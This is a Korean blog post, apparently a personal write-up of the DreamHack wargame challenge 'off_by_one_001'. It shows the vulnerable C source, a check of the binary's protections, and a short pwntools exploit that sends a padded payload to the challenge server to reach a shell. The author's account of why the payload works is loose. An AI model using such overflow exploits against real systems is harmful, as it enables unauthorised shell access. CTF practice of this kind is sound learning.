Hacking/Dremahack 문제풀이
[DreamHack]off_by_one_001
미역줄기줄기
2024. 5. 30. 15:09
728x90
오랜만입니다. 개강했다고 정신줄 놓고 있다가 이대로면 해킹은 개뿔 똥멍청이가 될 것 같아서 다시 정신차리고 돌아왔습니다. 간만에 푸는 워게임이기 때문에 아주 쉬운 문제로다가 풀었습니다. 시스템 해킹을 시작하고 거의 처음으로 온전히 제 힘으로 flag를 찾은 문제입니다 ㅎㅎ.. 근데 정말 EZ함
문제 설명

문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \\n");
read(0, name, 20);
}
return 0;
}
- age가 0이면 get_shell()함수를 호출한다.
- 디스어셈블로 get_shell()함수 leak한 다음에 bof 일으키면 되지 않을까
- name의 크기를 20으로 정의했으니 더미값으로 ‘a’*20 + ‘b’*4 갈기면 될듯
보호기법 확인
- 32비트 아키텍처
- 카나리 없음 → 편하게 bof 갈기면 될듯
- NX있음 → 셸코드로 익스 X
- PIE 없음
💡 카나리가 없음을 확인했ㄷㅏ. 즉 leak할게 따로 없다. 그냥 bof 하면 된다. 문제 코드에 get_shell()이 떡하니 있으니까 디스어셈블 해서 주소만 알아내면 된다.
main 디스어셈블
- get_shell의 주소는 0x8048641이다.
Exploit code & 결과
from pwn import*
p=remote("host3.dreamhack.games",21082)
shell = 0x8048641
payload = b'A'*20 + b'B'*4 + p32(shell)
p.sendlineafter(b'Name: ', payload)
p.interactive()
끝
write up을 안 보고 풀어서 기쁘지만.. 문제가 너무 쉬웠다.